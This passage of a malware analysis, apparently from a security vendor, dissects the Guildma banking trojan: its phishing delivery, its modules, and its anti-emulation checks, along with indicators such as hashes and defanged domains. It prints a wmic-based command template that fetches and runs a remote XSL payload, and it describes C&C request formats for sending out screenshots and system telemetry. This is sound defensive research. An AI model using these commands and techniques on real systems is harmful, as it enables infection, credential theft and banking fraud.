LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma’s modules and executes a first stage loader, which loads the rest of the modules. The malware is then active and waits for commands from the C&amp;C server and/or specific user interactions, such as opening a webpage of one of the targeted banks. &nbsp;Originally, the campaign targeted Brazilian users and services, by spreading tailored phishing emails. However, we have protected more than 26,000 Avast users from 155,000 Guildma infection attempts, globally, this year.&nbsp;&nbsp;

Examples of attachment file names (with translations):

<h2>Stage zero: Hacked websites and PHP shell mailers</h2>The phishing emails used to spread Guildma are mainly sent through shady rented or purchased websites, or using hacked websites, by installing or copying malicious PHP code, with mass mailing functions, to the website code. The malware authors usually use a custom PHP shell, based on a simple mail function with a specific header.&nbsp;

This suspicious X-Mailer value is also heavily used in other spam <a href="https://www.malware-traffic-analysis.net/2019/04/24/index.html">campaigns</a>, malicious mass mailer <a href="https://github.com/search?l=PHP&amp;q=%22Build+17.551210%22&amp;type=Code">tools</a> and webshell scripts. While the optional X-headers are rather suspicious, the content types and encodings are standard – both ISO-8859-1 (Latin 1 encoding) and Base64 are common for text and attachments, respectively.

<h2>Attached LNK file</h2>The archive attached to the phishing email contains a malicious <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943">Shell Link</a> (LNK) file, which as described above, is used as a downloader for the next stage. &nbsp;The LNK file opens a minimized Windows Management Instrumentation Command-line tool (wmic.exe) using the Command Shell (cmd.exe) to download and execute a next stage XSL file with a malicious payload. (MITRE T1220 Squiblytwo Technique) &nbsp;LNK Target format:<code>%ComSpec% /c start /MIN %SystemRoot%\\system32\\wbem\\wmic os get &lt;random strings&gt; /format:"&lt;url_to_xsl_file&gt;" &amp;&amp; exit</code> &nbsp;The LNK comment field is filled with a fully random string, with a random length, and the <code>Run</code> field is always set to <code>Minimized</code>. &nbsp;Other suspicious fields are: CreationTime, AccessTime and WriteTime. If they are filled, they are always set to <code>11/21/2010 (03:24:06) [UTC]</code>.

We spotted more than 4,800 unique malicious LNK samples with 280 hard coded domains since September 2018. The sample count slightly increased since April 2019 and since then, the daily count is approximately 50 unique samples.

Examples of LNK file names:

We also found an XSL file version that generates and executes the same command as the LNK files.

At the end of April 2019, the malware authors created a new LNK file version with an obfuscated target command and download URL occasionally pointing to the TOR network, which they probably did to avoid antivirus detections.

<h2>XSL file</h2><code>SHA256: 1a89b4c8079d00b7f1575462a2cc7e5f9ac6d488abc5b167001ab676b62930b8</code>The main purpose of the included JavaScript payload is to download all of Guildma’s modules and execute the first stage DLL module using default Windows tools and applications. &nbsp;The malicious JavaScript code is slightly obfuscated with the <code>fromCharCode</code> function or using public web-based obfuscators. &nbsp;The deobfuscated download function uses the BITSAdmin tool to download the payload. The corresponding code, used up to version 138 of Guildma, is shown below:

The authors updated the XSL file in version 139 of Guildma and added another Base-64 encoding layer, decoded using the certutil application at the end of April 2019.&nbsp; &nbsp;Enhanced download function from version 139:

They also sometimes use simple obfuscation over parts of the Javascript code as of version 138, probably generated with free web-based obfuscator tools:

Suspicious variable and function names: &nbsp;The malicious JavaScript contains many unique and unusual variable and function names, including <code>Lucifer</code> and <code>Astaroth</code>, and the authors use the same names for a long time, without changing them.

Downloader URLs: &nbsp;All the URLs are partially hard-coded and partially generated in JavaScript and the domains are changed almost every day. The authors renamed a download file extension to <code>.zip.log</code> from version 139. &nbsp;Format:<code>http:\/\/\w+\d{7}\.\w+\.(website|pw|space|fun|site|xyz|club|com):250\d{2}\/\d{2}\/\w+(a|b|c|dwwn|dx|e|f|g|gx|xa|xb|98|hh)\.(jpg|gif|dll)\.zip(\.log)?\?\d{9}</code> &nbsp;For example:<code>hxxp://q239hEFLK1379515.cavaleira1.website:25013/09/rakpat0rpcackb.jpg.zip?505797016</code> &nbsp;We spotted version 139 of Guildma hosted on Github by a user named <code>winsvrx</code>. The account was created on March 29, 2019 and was actively maintained with almost 40 commits up until April 30, 2019, when the account was quickly removed by the Github security team after we discovered and reported it. &nbsp;Github URL:<code>hxxps://github.com/winsvrx</code> &nbsp;The authors then switched to Google Storage after the Github removal, and continued with active development and malware spreading. We also reported this to Google, and the bucket/service was removed.&nbsp; &nbsp;Google Storage URL:<code>hxxps://storage.googleapis.com/ultramaker/</code> &nbsp;The authors updated the botnet in version 140 and switched to a new Google Storage URL in June 2019:<code>hxxps://storage.googleapis.com/bradok/</code> &nbsp;Botnet version:The first interesting variable, <code>smaeVar</code>, probably indicates a campaign version, release month or just directory names for different set of URLs. The malware authors used 03, 04, 06, 07, 08, 09 directories for the campaign hosted on Github and Google Storage.

The second variable, <code>skvidro</code>, indicates a version of the malware and as of the end of June 2019, it is version 140.&nbsp; &nbsp;The malware authors also change the download directory with every new version, stored in the <code>sVarRaz</code> variable.

Malicious domains: see Appendix C.1. &nbsp;Module execution:The first module (64) is executed using the <code>regsrv32</code> tool, after all other modules are successfully downloaded.

The malware authors <a href="https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research">abused</a> our binary file <code>aswrundll.exe</code> for this purpose at the end of 2018, but our developers quickly fixed it and this technique is no longer possible. &nbsp;<h2>Downloaded modules:</h2>The Guildma binaries are separated into various stages and modules. Some modules are simply encrypted and all modules are also Base64 encoded as of version 139 of the malware. &nbsp;Download directory format:<code>c:\users\public\libraries\&lt;campaign_download_dir&gt;</code> &nbsp;The current campaign download directory is <code>temporary</code>, previously it was <code>awsvideos</code> and <code>raptor</code>.&nbsp;Module file names format:<code>campaign_file_name(64|98|xa|xb|dwwn|dx|gx|a|b|c|e|f|g)\.(~|gif|jpg)</code>&nbsp;File names example:<code>rakpat0rpcack64.~</code> <code>rakpat0rpcack98.~</code> <code>rakpat0rpcackxa.~</code> <code>rakpat0rpcackxb.~</code> <code>rakpat0rpcackdwwn.gif</code> <code>rakpat0rpcackdx.gif</code> <code>rakpat0rpcackg.gif</code> <code>rakpat0rpcackgx.gif</code> <code>rakpat0rpcacka.jpg</code> <code>rakpat0rpcackb.jpg</code> <code>rakpat0rpcackc.jpg</code> <code>rakpat0rpcacke.jpg</code> <code>rakpat0rpcackf.jpg</code>Modules with GIF and JPG extensions are “encrypted” using the weak Shift-XOR algorithm based on seed. &nbsp;Downloaded modules are encrypted with a couple of different seed values <code>0x457</code>, <code>0x33f45263</code> (up to version 138) and <code>0xa2c99</code> (since version 139).

Generated XOR keys from seeds: &nbsp;<code>0x457:</code> <code>572B158A45221108040201000000000000000000000000000000000000000000</code> <code>0x33F45263:</code> <code>6331984C269349A45229148A45A2D1E8F4FAFD7E3F9FCF6733190C0603010000</code> <code>0xA2C99:</code> <code>994C2693C964B2592C168B45A25128140A050201000000000000000000000000</code> &nbsp;The first seed generated very weak keys, full of null bytes, which is not a very suitable value for XOR operations ;). The second seed <code>0x33f45263</code> has remained unchanged since the end of 2015. &nbsp;<h2>Module flow graph:</h2>

<h2>Malware details:</h2>All the core Guildma malware modules are written in Borland Delphi and they are probably based on well-known open source RATs like <code>Delphi Remote Access PC</code>, <code>AmigoRAT</code> or <code>PureRAT</code>, according to code patterns. &nbsp;The string encryption/obfuscation algorithm was also used in other Delphi malware families, so the malware authors may have copied or purchased this part too. &nbsp;Python representation of string encryption algorithm:

The malware does not use any kind of “master” configuration file or data structure and many important variables (URLs, paths etc.) are computed, encrypted and hard-coded to various places in the compiled binaries. Because variables, like module file names, correspond to previous stages, the authors must recompile all binaries and scripts every time they change, for example, the C&amp;C domains. We assume they use automated source code pre-processing scripts.<h2>Module 64 (Loader)</h2><code>SHA256: 8d516dacdc00d76a44f987b654ffe39145eb02c5013b3dc504a3bf65d7e503cb</code> &nbsp;This is the first executed module that served as a loader for the next stage, module 98, and prepared data from two downloaded files (XA and XB files) for further usage. &nbsp;The module 98 path is hard-coded and changes with every campaign. The export name <code>“mangusbold”</code> has been the same for the three versions (versions 137- versions 139).

Loading the XA and XB modules is realized using old 16bit kernel functions, like <code>_lopen</code>, <code>_lread</code> and <code>_lclose</code>.

We spotted an attempt to use a fake and invalid Avast certificate on module binaries in version 139.&nbsp;

<h2>Module 98 (Loader)</h2><code>SHA256: 9a8df74f32dbf64672745b2bb427410e49b1e53441d7b4ca32e8c82ac4d44557</code> &nbsp;This is the second module, and also used as a loader for the next stage. The main purpose is to merge the previously prepared XA and XB data blobs into one module, reconstruct the created module in memory and execute it.

<h2>Module XA+XB (Injector)</h2>Module XA – the first part of the module binary: <code>SHA256: 37e87eac8138491630822e335e4cc74edbd6424b2f92ee3b1bee28423aa63b78</code> Module XB – the second part of the module binary: <code>SHA256: e1b08233100a573c6de711152bc894e0a612f26ddacce8e365514cdd6c968614</code> Merged module: <code>SHA265: 244b06da6f405b35579ce9643c08bc5420b460a254096ab1646a515c94ecc7c6</code> &nbsp;The primary purpose of this module is to inject the GX module into one of the targeted files. The default targeted file is a system application, <code>userinit.exe</code>. The second targeted file is part of the GAS Tecnologia protection tool, Warsaw.

The malware authors use a simple, common technique using the <code>CreateProcess &gt; SetContext &gt; ResumeThread</code> combo, where malicious code runs in the context of another process.

The injected module inside the <code>userinit.exe</code> process:

This module runs in an endless loop and watches the injection result through the module G window name, every 852 seconds. If the window is not found, the module performs a new injection.

<h2>Module GX (Injector)</h2><code>SHA256: edba9b33cb49fca3302387ec019e676a4e022709e54a2945eff25ddf409ef98d</code> &nbsp;Module GX is a final loader for module G (core module), inside the injected process memory from the previous stage. &nbsp;The module structure is almost the same as the previous module, in that it also includes the endless loop and the injection result check using the core module’s window name, but the malware authors applied easy obfuscation there.

The memory DLL loading, relocation and import table reconstruction code is based on a public <code>BTMemoryModule</code> created by <a href="https://github.com/DSPlayer">Martin Offenwagner</a>.

<h2>Module DWWN (RAT)</h2><code>SHA256: ca7c94b5012c5285d466a5c27647b26106c8017e93172a4d092322c66f1d0fa9</code> &nbsp;The module DWWN uses two levels of C&amp;C servers. Whenever the C&amp;C has to be contacted and the address of the second-level C&amp;C server is not discovered, a first-level C&amp;C server (see Appendix E.1) is contacted at the address <code>&lt;first-level C&amp;C domain&gt;//09/dsct.txt</code>. &nbsp;The response may contain the second-level C&amp;C server’s domain encrypted by a simple substitution cipher which performs the <code>ROT-7</code> operation with the following alphabet (i.e. <code>U</code> is substituted with <code>e</code>, <code>V</code> with <code>f</code>, <code>9</code> with <code>d</code> etc.): &nbsp;<code>UVZabcdefghijkçlm23Atuvxyz!@#$%8FYNÃOPQR=-&gt;&lt;;.014567pqrBCSTnoGHI?/\|"~[]{}JKLMÇWX&amp;*()_+DEãs9</code> &nbsp;The number <code>“09”</code> in the path seems to be incremented with every new version. Note that the same C&amp;C retrieval method is also used by data extractor, mailer and core module. The disassembly indicates that this is facilitated by a custom library, as the corresponding code differs in hard-coded lists of addresses only. &nbsp;The events shown below have their names prefixed by a string <code>Tmsodebriedgw</code> (more specifically the objects themselves are prefixed). The module has three windows (A, B, and C), each with its own <code>FormCreate</code> event (<code>&lt;prefix&gt;&lt;form&gt;_&lt;event&gt;</code>). Similarly, timers/threads have their own additional prefix <code>msodebriedgwe</code> (<code>&lt;prefix&gt;&lt;form&gt;_&lt;timer prefix&gt;&lt;label&gt;Timer</code>). For the sake of readability, we have omitted these prefixes and used reformatted names. &nbsp;All the timers, that are children of <code>Form A</code>, and provide functionality if and only if <code>xkill</code> has not been run since startup. Another pattern, that will be prevalent even later, also emerges – every timer is disabled at its event start and enabled towards the end, unless noted otherwise.<h3>Module object diagram</h3>

<h3>FormCreate – Form A</h3>This is the main form that orchestrates all the functionality. At the beginning, 4 bytes are read from the PrintWindow API function, and client <code>UID</code> is prepared (<code>&lt;NETBIOS name&gt;_&lt;hex-encoded volume info&gt;</code>). Also, all the timers are disabled. &nbsp;The window belonging to this form is hidden to a random position that is outside of the client’s monitor screen (the position is beyond the monitor’s resolution). Then the remaining two windows (or more specifically their respective forms) are initialized. The form also checks for a previous running instance by checking for a window name of a form <code>&lt;time ddmmyyyyddmmyyyy&gt;</code>. If such a window is found, the <code>xkill</code> action is performed (see <code>A82::thread_proc</code> command <code>0x276</code> for more details); otherwise the window is renamed to <code>&lt;time ddmmyyyyddmmyyyy&gt;</code> with values corresponding to the current client’s time. &nbsp;Afterwards, the logging is started by enabling <code>Timer A1</code> (logger). Also, the path to <code>libraries</code> directory, the clients <code>UID</code> and the name of its own window is logged. This kind of logging is added to the message with a timestamp and is appended to <code>TMemo</code> (multi-line textbox). If this textbox contains more than 3,000 lines, it is cleared.<h3>FormCreate – Form B</h3>The same trick, as in the case of <code>Form A</code>, is then used to hide the window – the window is positioned outside of the client’s monitor screen. &nbsp;The window’s position is then logged through <code>Form A</code> in the format: &nbsp;<code>PosY&lt;y coordinate&gt;posiçăoX:&lt;x coordinate&gt;</code><h3>FormCreate – Form C</h3>The same trick, as in the case of <code>Form A</code>, is then used to hide the window – the window is positioned outside of the client’s monitor screen. &nbsp;Similarly to <code>Form B</code>, the window’s position is formatted into a string <code>y:&lt;y coordinate&gt;x:&lt;x coordinate&gt;</code> and logged through <code>Form A</code>. The initial position is set to (19 777, 16 777). This position is later on changed to (17 660, 18 652) and logged again in the format &nbsp;<code>yy1: &lt;y coordinate&gt;xx1: &lt;x coordinate&gt;</code> &nbsp;Note that these locations are significantly beyond coordinates that are shown on any consumer-grade screen. &nbsp;Afterwards, a Guildma web browser window is created using the <code>TWebBrowser</code> object which provides access to the web browser functionality of Microsoft’s Shell Doc Object and Control Library (SHDOCVW.DLL library). The name of this window is set to <code>msodebridgwe_Navite</code>. The window is then moved to a new position and again the position is logged in the format &nbsp;<code>PosC2222Y: &lt;y coordinate&gt;posiçăoC2222X: &lt;x coordinate&gt;</code> &nbsp;At the end, the browser is navigated to a blank page (about:blank). &nbsp;During the execution, a number of the “stage” (numbers 1 to 6) is logged, again via <code>Form A</code>. These “stages” are:<code>browser window creation</code>, <code>setting width</code>, <code>setting height</code>, <code>repositioning of the window</code>, <code>position logging</code>, <code>about:blank</code>.<h3>Timer A1 (logger) – Form A</h3>The functionality is directed by log files generated by the core module in <code>Timer 14</code> (see Timer 14 for more details). &nbsp;If a specific log file is found then its number is saved into a variable and a <code>target_flag</code> is saved for further use. Handles to windows (browser window, program manager/progman, and a browser-specific window) are written into labels <code>msodebriedgweA1[1-3]</code>. &nbsp;The only exception is <code>\\hd3sys.log</code>, which requires a <code>buttonclass</code> window to get the browser parent window. Others use the label <code>msodebriedgweA10</code> to save the required handle that was saved into the log file. &nbsp;The string <code>[VS: &lt;bot version&gt; ]&lt;log text&gt;-&gt; &lt;date&gt; &lt;timestamp&gt;</code> is logged and the log is uploaded to the C&amp;C server. At the end, <code>Timers A2</code> and <code>A4</code> are enabled and the log file, used at the beginning, is deleted.

<h3>Timer A2 (scout) – Form A</h3>Similarly to <code>Timer A1</code>, this timer executes a working code if and only if <code>xkill</code> has not been run since the initialization. At first, this timer tries to close windows with the following names:

The parent window’s class names are checked against the following list:<code>iefram</code>, <code>chrome</code>, <code>mozilla</code>, <code>BUTTONCLA</code>, <code>sunawtframe</code>, <code>HwndWrapper</code>, <code>ApplicationFrameWindow</code>, <code>Bradesco</code> &nbsp;If a match is found, this timer is not disabled (or more specifically is re-enabled after being disabled at the beginning). Otherwise a string<code>[VS: &lt;bot version&gt;]&lt;!FECHOOOOOOU!&gt;-&gt;</code> &nbsp;is appended to the log (again via <code>Form A</code>), the log is sent to the C&amp;C server, and the <code>xkill</code> command is executed. Also, if the class name is not matched, the current time is saved into the label <code>msodebriedgweA15</code>.<h3>Timer A3 (reporter) – Form A</h3>At the beginning, a message <code>msodebriedgweA3Timer</code> is appended to the log. Then the value of the <code>xfuso </code>HTML element from the browser window in <code>Form C</code> is extracted. If this value is zero then the timer does nothing. Otherwise, a log entry of the form is created and sent to the C&amp;C server. <code>ID</code> value is stored inside <code>auid.log</code> file created by G module.<code>-----------[VS:&lt;bot_version&gt;]---------</code> <code>&lt;xfuso_element_value&gt;</code> <code>-----------------------------</code> <code>&lt;timestamp dd/mm/yy hh:nn:ss&gt;</code> <code>Versăo:&lt;version_number&gt;</code> <code>Cliente:&lt;target_flag&gt;&lt;UID&gt;</code> <code>ID:&lt;value_from_auid_log_file&gt;</code> <code>Versao com QRCODE Ativo.</code> <code>----------------------------</code> &nbsp;Afterwards, a site, determined by the <code>target_flag</code> value, is loaded in the <code>Form C</code> browser window. The check verifies whether the following substrings are present in the <code>target_flag</code> (converted to lowercase) value.

<h3>Timer A4 (Thread starter A82) – Form A</h3>The initial window detection is the same as for <code>Timer A2</code>, also followed by their closing. This timer also does not re-enable itself and creates a thread <code>Thread A82</code>. Similarly to<code> Timer A2</code>, the current time is saved into the label <code>msodebriedgweA15</code>.<h3>Timer enologia6 (Thread starter A81) – Form A</h3>Same as <code>Timer A4</code>, only the timer uses <code>Thread A81</code> and <code>msodebriedgweA14</code>.<h3>Thread A81</h3>Depending on the inner state, a screenshot of the focused window, parent window, or <code>Form B</code> is made. The screenshot is saved to <code>img&lt;target_flag&gt;&lt;UID&gt;_dat_&lt;timestamp&gt;&lt;image_counter&gt;.jpg</code>. The image is then compressed with zlib, encoded with Base64. Its name is encoded with a custom algorithm (see Python code below) with a hardcoded seed (<code>0x3f2</code>); the result is also encoded with Base64. These two Base64 strings are joined together and encoded with Base64 and sent to the C&amp;C server via a POST request: &nbsp;<code>&lt;C&amp;C domain&gt;/?9=Base64(&lt;encoded image name&gt;&lt;encoded image data&gt;)</code> &nbsp;Custom string encoding algorithm rewritten into Python:

Timer <code>enologia6</code> is also enabled by this thread. &nbsp;Encoded result examples:<code>Original string : test_string</code> <code>Encoded (r=10)&nbsp; : KnLmVnKnLmPnKnLnJnAnFmX</code> <code>Encoded (r=23)&nbsp; : XnYnJnXnYnDnXnYnWnNnSnL</code><h3>Thread A82</h3>At the beginning, <code>Timer A4</code> is disabled, as it does not disable itself. Similarly to <code>Timers A4</code> and <code>enologia6</code>, this thread attempts to close windows with specific names. &nbsp;The target flag is set to <code>puxa</code> and a command is sent to the C&amp;C server using the GET request: &nbsp;<code>&lt;C&amp;C domain&gt;/?3=Base64(encode(&lt;UID&gt;cmd.html)encode(section3))</code> &nbsp;The function <code>encode</code> refers to the aforementioned combination of the custom encoding and Base64 encoding. The response uses the same encoding combination and may contain several command numbers separated by <code>$</code>, each command may have parameters separated by <code>*</code>.The parsed command is then processed. The details are described in the table below:

<h2>Module DX (RAT)</h2><code>SHA256: d22f0ed199a6e713079da3be83eee4df504f5d6cde23fee483ca4d9660603ff3</code> &nbsp;The DX module has the same source code as the DWWN module, but it is compiled as an EXE file and contains a TLS Directory. The reason for having the two same modules (DLL and EXE version) is because they have different use cases. The core module injects DX module into a predefined process or loads the DWWN module, like a dynamic library.<h2>Module G (Core module)</h2><code>SHA256 : 53e91dd21afd39562a2b43b4938af0698a2d727b995fb4eae3ebeed90a8b81ee</code>Module G is the main module that orchestrates all the auxiliaries. It handles application tracking, telemetry retrieval, C&amp;C communication, and module injection. The functionality is very diverse, ranging from bot, banker to keylogger and password-stealer. &nbsp;The module is protected by sandbox checks, OS language checks and anti-emulation tricks. &nbsp;Throughout the execution, it frequently performs checks for opened windows, mostly looking for banking applications or PuTTY. These detections trigger injections, screenshots, key hooking and “flag” file creation. All these actions are orchestrated by a vast array of interacting timers with a rather complicated hierarchy.<h3>Initialization phase</h3>The initialization phase is unusually extensive and could be roughly divided into three steps that are executed in the presented order. This phase starts with the encryption keys being loaded by the modules, followed by the first step.<h4>Anti-emulation</h4>The module checks whether the NETBIOS name or Volume ID matches one from a hard-coded table (see table below). These values correspond to names and IDs of prevalent sandboxing solutions and emulators. At this step, the module also verifies whether the computer is running in Portuguese which matches the most prevalent target location – Brazil.Table of NETBIOS names and their corresponding Volume IDs that are being checked:

<h4>Self-initialization</h4>The self-initialization step starts with an initialization of a global variable containing a path to the working directory <code>%user%\Public\Libraries\raptor</code>, all the relative paths mentioned in the following paragraphs will refer to this directory. The module’s inner state, consisting of several data structures, will also be initialized by default values. &nbsp;The module checks whether there is another instance already running by checking several files containing information about the module’s inner state. More specifically, a file named <code>trusted.certs</code> (<code>%appdata%\LocalLow\Sun\Java\Deployment\security\trusted.certs</code>) is checked for a string called <code>appj.bb</code>. If the string is found, a file named <code>xconf2.log</code> is created. Otherwise, a file named <code>xconfon.log</code> is created. Both of these files are located in the working directory. &nbsp;This step ends up with the process assigning high priority to itself and subsequently hiding the window.<h4>Exploration</h4>During this step, the module looks for windows with the names listed below: &nbsp;<code>"Kodecsound093", "sqlitexz093", "loterprint093", "mactonshix093", ”MidiaMix093”, "Astarothys093", "MicroxTecnoLogx093", "GoufemaLiamesLogx093", "WeedMindW093", "zemtecks093", "Lamashtu093", "ShichiFukujin093", "Carontex093", "SHEMHAZAIx093", "SABNOCKX093", "haborym093", "damensosteal093", "cebruthiusx093", "UnrealTwinsw093", "winmodskwx093", "mxcompwss093", "hwasrhela093", "kvxwswdealx093", "marxvxinhhm093", "srsysddirrx093", "mxgetronicosxy093", "dwqiopawsamazon093”, "lu769tsla093", "Lrdsnhrxxfery093", "rakpat0rpcack093", “hillwd763free093”</code> &nbsp;These windows correspond to already running instances. The processes running windows with these names will be terminated by the module. Note that the suffix <code>093</code> seems to vary between versions. Thus, it could also serve as the malware’s version information. &nbsp;Afterwards, several paths are checked for specific files, triggering a sequence of commands if they are found. If the file <code>&lt;malware_version&gt;vrxi.log</code> does not exist, the following files are checked. If at least one file from the set is found, the corresponding command sequences is triggered:

<h4>Fingerprinting</h4>The module also checks for installed software (antiviruses and “interesting” applications) and it is launched if and only if the file <code>&lt;malware_version&gt;vrxi.log</code> does not exist. These checks are done by checking folders in <code>C:\Program Files</code> and <code>C:\Program Files (x86)</code>. If software from a hard-coded database is found, a corresponding alias will be added to the message for the C&amp;C server. This database is described in the two tables below:

This information is serialized into a telemetry string:<code>&lt;NETBIOS name&gt;_&lt;Volume info&gt;-:-&lt;OS version&gt;-:-&lt;Malware version&gt;-:-&lt;Path to module G&gt;-:-&lt;Path to module 64&gt;-:-&lt;OS architecture&gt;-:-&lt;Aliases of detected SW&gt;-:-&lt;Texts from windows&gt;-:-&lt;Language identifier&gt;</code> &nbsp;This string is then encoded with Base64 and sent in a GET request to the C&amp;C server. Here’s a shortened example of the request:<code>hxxp://digitais.info/snniper/dir&lt;number&gt;/?&lt;time1&gt;=&lt;time2&gt;&amp;1=&lt;Base64 telemetry string&gt;</code>Variables <code>time1</code> and <code>time2</code> are formed from Delphi time formatting strings “mshhddnnssmm” and “hhmsddnnss” respectively; the variable <code>number</code> may vary from 1 to 9.<h3>Core functionality</h3>If none of the interesting applications is found during fingerprinting, the module will inject data into a process via process hollowing. More specifically, the data saved in a file named <code>rakpat0rpcacke.jpg</code> (module E – mailer loader) and is transferred into a memory stream, which is in turn injected into a new instance of one of the following processes:<code>C:\Program Files\Diebold\Warsaw\unins000.exe</code> <code>C:\Windows\SysWOW64\svchost.exe</code> <code>C:\Windows\System32\svchost.exe</code> &nbsp;Interestingly, module E is launched on a desktop screen, likely one that is not displayed to the user, with the name:<code>IIBQEOFHEYOSWJLVMEYIDHEYIBQRYOFCCNWRSGJRUPMTIDHKETIFQHLCNWTUSK</code> &nbsp;Afterwards, two more modules are loaded. They are contained in files called <code>rakpat0rpcacka.jpg</code> and <code>rakpat0rpcackb.jpg</code> (NirSoft 3rd party modules) and their content is injected into another instance of the process used earlier, again via process hollowing. This process is created with the following parameters:Command line: <code>&lt;path&gt; /stext \raptor\xmda_&lt;NETBIOS name&gt;_&lt;Volume ID&gt;.mod</code> Application: <code>&lt;path&gt;</code> &nbsp;The first file contains a module that isn’t present in more recent campaigns, while the second one corresponds to NirSoft’s WebBrowserPassView (a recovery tool for passwords stored in a browser). &nbsp;This module uses the same two-level C&amp;C server architecture, the first-level C&amp;C servers are listed in Appendix A.1, as the module DWWN.In short, an HTTP request is sent to a URL <code>&lt;first-level C&amp;C domain&gt;//09/dsct.txt</code>, the response contains a second-level C&amp;C domain that is encrypted by a custom substitution cipher. Afterwards, a POST request is sent to this server with Base64 encoded data consisting of Base64 encoded contents of the aforementioned file, which was used to create a process into which the two modules were injected, and a Base64 encoded path to this file. &nbsp;At this point, several files are created — a log file <code>&lt;malware_version&gt;guild.log</code> and a configuration file <code>pblqxx&lt;time dd.mm&gt;.ini</code> (if <code>pblqrr&lt;time dd.mm&gt;.ini</code> does not exist). &nbsp;The rest of the functionality is implemented via multiple timers named <code>_Trakpat0rpcackA_rakpat0rpcackA_&lt;number&gt;Timer</code>, and two handlers for events <code>KeyReleased</code> and <code>MouseReleased</code>. For the sake of simplicity, we will refer to them from now on as <code>Timer &lt;number&gt;</code>. Interestingly, nearly all these timers disable themselves during the event processing. Naturally, they are re-enabled after the event’s purpose is finished. Note that several timers have been omitted as they use empty events, these will be denoted as <code>null stubs</code>. These timers have their default interval noted by their name in the respective section; however, this value changes often and sometimes it may by multiple events.

<h4>Timer 13 (watcher, interval 1s)</h4>This timer keeps track of running applications and opened browser windows and tabs. Furthermore, when the file <code>pblq&lt;time dd.mm&gt;.ini</code> is present, a function <code>TaskKill</code> (see Appendix A.3) is executed, killing browser processes along with targeted banking applications. The interactions of this timer with other timers are listed below:

The existence of several banking applications is checked by accessing the following paths:<code>C:\Program Files (x86)\AppBrad\AplicativoBradesco.exe</code> <code>C:\Program Files\AppBrad\AplicativoBradesco.exe</code> <code>C:\Users\%username%\AppData\Local\Aplicativo Itau\itauaplicativo.exe</code> <code>C:\Sicoobnet\office.exe</code>If one of these is found, the module tries to find windows with names:<code>Aplicativo Bradesco</code>, <code>AplicativoBradesco.exe</code>, <code>Navegador Exclusivo 3</code>, <code>MozillaWindowClass</code>, <code>Ita</code>, <code>aplicativo ita</code>, <code>SunAwtFrame</code>, <code>PuTTY</code>The existence of such windows triggers a hijack of specific hotkeys (<code>ALT + VK_ESCAPE</code>, <code>ALT + VK_F4</code>, <code>ALT + VK_TAB</code> , <code>VK+LBUTTON</code>) in order to prevent the user from switching or closing the window. The application <code>itauaplicativo.exe</code> is a small exception as the key combination <code>VK+LBUTTON</code> is not hooked if it is detected. &nbsp;If a <code>PuTTY</code> window is detected, a screenshot is taken, compressed (using zlib library) and saved to a file <code>.\vri\&lt;NETBIOS name&gt;_&lt;Volume ID&gt;_byte&lt;counter&gt;.jpg</code>. Afterwards, it is sent to the C&amp;C server via this GET request:<code>http://&lt;second-level C&amp;C domain&gt;/?3=Base64(Base64(puxa&lt;NETBIOS name&gt;_&lt;Volume ID&gt;xONLINE_UNI_x), Base64(section2))</code>At this phase, a “flag” file <code>xconf40.log</code> is created, too. &nbsp;This timer also contains a lookup for windows of a few prevalent browsers (via their class name):&nbsp;<code>iefram (Internet Explorer)</code> <code>mozilla (Mozilla Firefox)</code> <code>chrome (Google Chrome)</code> <code>ApplicationFrameWindow (Edge)</code>If any of these windows are detected, a lookup for child windows, which can either be tabs or pop up windows, is initiated, again by the object’s class name:<code>Internet_Explorer_Server (Edge, Internet Explorer)</code> <code>Chrome_RenderWidtetHostHWND (Google Chrome)</code> <code>MozillaWindowClass (Mozilla Firefox)</code>Then, the malware tries to search for strings in these browser windows (or more specifically URLs of opened sites). Each set of strings, note that these sets are disjunct, triggers some actions. These actions may entail screenshotting (screenshot is compressed with zlib and saved to <code>.\vri\&lt;NETBIOS name&gt;_&lt;Volume ID&gt;_byte&lt;counter&gt;.jpg</code>), hooking and disabling specific key combinations, effectively preventing the user from changing the window or closing the browser tab; these combinations are:<code>ALT + VK_ESCAPE</code>, <code>ALT + VK_F4</code>, <code>ALT + VK_TAB</code>, <code>VK_LBUTTON and CTRL + W</code>, <code>SHIFT + W</code>, <code>ALT+W</code>, <code>F10</code>, <code>ALT</code>, <code>VK_OEM_3</code>These sets also trigger a GET request:<code>http://&lt;second-level C&amp;C domain&gt;/?3=Base64(Base64(puxa&lt;NETBIOS name&gt;_&lt;Volume ID&gt;x&lt;param&gt;), Base64(section2))</code>and create a flag file <code>xconf&lt;flag file number&gt;.log</code>.

If matched sets, along with <code>PuTTY</code> windows are found, they are noted down for further use by <code>Timer 19</code> (ping).<h4>Timer 14 (partisan, interval 2s)</h4>This timer is a “second” stage of <code>Timer 13</code> (watcher). Once <code>Timer 13</code> detects a tracked behavior, it triggers <code>Timer 14</code>, which will inject a payload into a specific process. The specifics are governed by the content of the opened windows and the OS version. Below is a picture containing a high-level overview of the event’s functionality below:

The following window class names will trigger an injection via process hollowing:<code>iefram, chrome, mozilla, customrou, sunawtframe, BUTTONCLA, HwndWrapper, ApplicationFrameWindow, Bradesco</code> &nbsp;If none of the following window class names exists, <code>Timers 24</code> (garbage collector) and <code>14</code> (partisan) are turned off. Additionally, <code>Timer 13</code> (watcher) is turned on, too. &nbsp;The decision tree behind these actions also creates log files containing handles to these windows. The log file name format is <code>hd&lt;log_number&gt;sys&lt;a|b|c|d&gt;.log</code>, where <code>a</code>, <code>b</code>, <code>c</code>, and <code>d</code> are used when the windows class is <code>iefram</code>, <code>chrome</code>, <code>mozilla</code>, or <code>other class</code> respectively. As mentioned before, these log files are then used by module <code>rakpat0rpcackdwwn.gif</code> (RAT module).

The following table describes possible targets for the injection, provided <code>itauaplicativo.exe</code> was detected, of the module <code>rakpat0rpcackdx.gif</code> (RAT module): &nbsp; &nbsp;

